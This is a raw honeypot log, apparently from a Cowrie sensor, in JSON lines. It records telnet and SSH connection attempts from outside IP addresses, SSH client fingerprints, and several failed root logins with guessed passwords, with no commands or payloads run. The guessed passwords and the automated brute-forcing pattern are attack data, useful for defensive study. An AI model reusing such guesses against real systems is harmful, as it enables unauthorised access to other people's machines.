{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60754,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b41f32ec71","protocol":"telnet","message":"New connection: 135.148.14.151:60754 (159.203.135.109:23) [session: a3b41f32ec71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:09.144747Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36030,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc377eefcc79","protocol":"telnet","message":"New connection: 135.148.14.151:36030 (159.203.135.109:23) [session: fc377eefcc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:09.520655Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":42446,"dst_ip":"10.17.0.5","dst_port":22,"session":"f99751755b58","protocol":"ssh","message":"New connection: 89.108.118.91:42446 (10.17.0.5:22) [session: f99751755b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:31.865298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:31.870417Z","src_ip":"89.108.118.91","session":"f99751755b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:32.017795Z","src_ip":"89.108.118.91","session":"f99751755b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201088","message":"login attempt [root/201088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:32.450893Z","src_ip":"89.108.118.91","session":"f99751755b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:33.598285Z","src_ip":"89.108.118.91","session":"f99751755b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.332841873168945,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:33.677860Z","src_ip":"135.148.14.151","session":"b9e0841311eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54152,"dst_ip":"159.203.135.109","dst_port":22,"session":"67ddb5993a1c","protocol":"ssh","message":"New connection: 109.172.54.111:54152 (159.203.135.109:22) [session: 67ddb5993a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:34.934513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:34.939820Z","src_ip":"109.172.54.111","session":"67ddb5993a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:35.049255Z","src_ip":"109.172.54.111","session":"67ddb5993a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey2012","message":"login attempt [root/andrey2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:35.350934Z","src_ip":"109.172.54.111","session":"67ddb5993a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:36.457141Z","src_ip":"109.172.54.111","session":"67ddb5993a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48804,"dst_ip":"159.203.135.109","dst_port":23,"session":"f158db6f8c8f","protocol":"telnet","message":"New connection: 135.148.14.151:48804 (159.203.135.109:23) [session: f158db6f8c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:37.242326Z"}
{"eventid":"cowrie.session.closed","duration":36.51548409461975,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:39.756114Z","src_ip":"135.148.14.151","session":"b90ee9fe0e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18075942993164,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:42.446429Z","src_ip":"135.148.14.151","session":"be1f77fa9769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.16259789466858,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:44.683080Z","src_ip":"135.148.14.151","session":"fc377eefcc79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83617830276489,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:44.980834Z","src_ip":"135.148.14.151","session":"a3b41f32ec71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55694,"dst_ip":"159.203.135.109","dst_port":22,"session":"56de3eb97457","protocol":"ssh","message":"New connection: 103.153.68.219:55694 (159.203.135.109:22) [session: 56de3eb97457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:04.030175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:04.037753Z","src_ip":"103.153.68.219","session":"56de3eb97457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:04.284253Z","src_ip":"103.153.68.219","session":"56de3eb97457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":34626,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5f7dda66c81","protocol":"ssh","message":"New connection: 109.237.96.109:34626 (10.17.0.5:22) [session: c5f7dda66c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:04.436719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:04.441684Z","src_ip":"109.237.96.109","session":"c5f7dda66c81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:04.602563Z","src_ip":"109.237.96.109","session":"c5f7dda66c81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inspiron","message":"login attempt [root/inspiron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:05.023031Z","src_ip":"103.153.68.219","session":"56de3eb97457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:05.094055Z","src_ip":"109.237.96.109","session":"c5f7dda66c81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:06.257012Z","src_ip":"109.237.96.109","session":"c5f7dda66c81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:06.272024Z","src_ip":"103.153.68.219","session":"56de3eb97457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00526094436646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:09.967342Z","src_ip":"135.148.14.151","session":"54ac94364fbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58508,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d4345a26924","protocol":"telnet","message":"New connection: 135.148.14.151:58508 (159.203.135.109:23) [session: 6d4345a26924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:13.737056Z"}
{"eventid":"cowrie.session.closed","duration":36.60322308540344,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:13.845415Z","src_ip":"135.148.14.151","session":"f158db6f8c8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36492,"dst_ip":"159.203.135.109","dst_port":23,"session":"0406396030a1","protocol":"telnet","message":"New connection: 135.148.14.151:36492 (159.203.135.109:23) [session: 0406396030a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:14.108734Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37404,"dst_ip":"159.203.135.109","dst_port":23,"session":"3814ec52e7d4","protocol":"telnet","message":"New connection: 135.148.14.151:37404 (159.203.135.109:23) [session: 3814ec52e7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:15.054476Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36014,"dst_ip":"159.203.135.109","dst_port":23,"session":"d03163229c1b","protocol":"telnet","message":"New connection: 135.148.14.151:36014 (159.203.135.109:23) [session: d03163229c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:15.106775Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44338,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a9455d7eb46","protocol":"telnet","message":"New connection: 135.148.14.151:44338 (159.203.135.109:23) [session: 6a9455d7eb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:29.621290Z"}
{"eventid":"cowrie.session.closed","duration":33.16902685165405,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:48.275676Z","src_ip":"135.148.14.151","session":"d03163229c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.234243631362915,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:49.971188Z","src_ip":"135.148.14.151","session":"6d4345a26924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.95136523246765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:50.059993Z","src_ip":"135.148.14.151","session":"0406396030a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.8843948841095,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:52.938765Z","src_ip":"135.148.14.151","session":"3814ec52e7d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52020,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc2498812995","protocol":"telnet","message":"New connection: 135.148.14.151:52020 (159.203.135.109:23) [session: fc2498812995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:47:56.044654Z"}
{"eventid":"cowrie.session.closed","duration":38.32581973075867,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:07.946974Z","src_ip":"135.148.14.151","session":"6a9455d7eb46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60908,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a1869d74a2c","protocol":"telnet","message":"New connection: 135.148.14.151:60908 (159.203.135.109:23) [session: 9a1869d74a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:11.944659Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35826,"dst_ip":"159.203.135.109","dst_port":23,"session":"225079fb0736","protocol":"telnet","message":"New connection: 135.148.14.151:35826 (159.203.135.109:23) [session: 225079fb0736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:14.808339Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34014,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b5a62ee500f","protocol":"telnet","message":"New connection: 135.148.14.151:34014 (159.203.135.109:23) [session: 6b5a62ee500f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:18.252762Z"}
{"eventid":"cowrie.session.closed","duration":23.200673580169678,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:19.245219Z","src_ip":"135.148.14.151","session":"fc2498812995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48960,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd3a537d127","protocol":"telnet","message":"New connection: 135.148.14.151:48960 (159.203.135.109:23) [session: bfd3a537d127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:38.418860Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35098,"dst_ip":"159.203.135.109","dst_port":23,"session":"4646385e759c","protocol":"telnet","message":"New connection: 135.148.14.151:35098 (159.203.135.109:23) [session: 4646385e759c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:41.806720Z"}
{"eventid":"cowrie.session.closed","duration":32.10018467903137,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:44.044752Z","src_ip":"135.148.14.151","session":"9a1869d74a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49858,"dst_ip":"159.203.135.109","dst_port":23,"session":"157403d9c65a","protocol":"telnet","message":"New connection: 135.148.14.151:49858 (159.203.135.109:23) [session: 157403d9c65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:47.301429Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53286,"dst_ip":"159.203.135.109","dst_port":23,"session":"1670226be635","protocol":"telnet","message":"New connection: 135.148.14.151:53286 (159.203.135.109:23) [session: 1670226be635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:47.447993Z"}
{"eventid":"cowrie.session.closed","duration":37.00646734237671,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:51.814497Z","src_ip":"135.148.14.151","session":"225079fb0736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57380,"dst_ip":"159.203.135.109","dst_port":23,"session":"3874b76da564","protocol":"telnet","message":"New connection: 135.148.14.151:57380 (159.203.135.109:23) [session: 3874b76da564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:56.505860Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39320,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f564e3b1176","protocol":"ssh","message":"New connection: 87.251.79.125:39320 (10.17.0.5:22) [session: 0f564e3b1176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:57.238154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:57.243779Z","src_ip":"87.251.79.125","session":"0f564e3b1176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:57.326452Z","src_ip":"87.251.79.125","session":"0f564e3b1176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mishanya","message":"login attempt [root/mishanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:57.553812Z","src_ip":"87.251.79.125","session":"0f564e3b1176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:48:58.631249Z","src_ip":"87.251.79.125","session":"0f564e3b1176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":44294,"dst_ip":"159.203.135.109","dst_port":22,"session":"41c9d2affdbd","protocol":"ssh","message":"New connection: 80.66.85.226:44294 (159.203.135.109:22) [session: 41c9d2affdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:49:01.654639Z"}
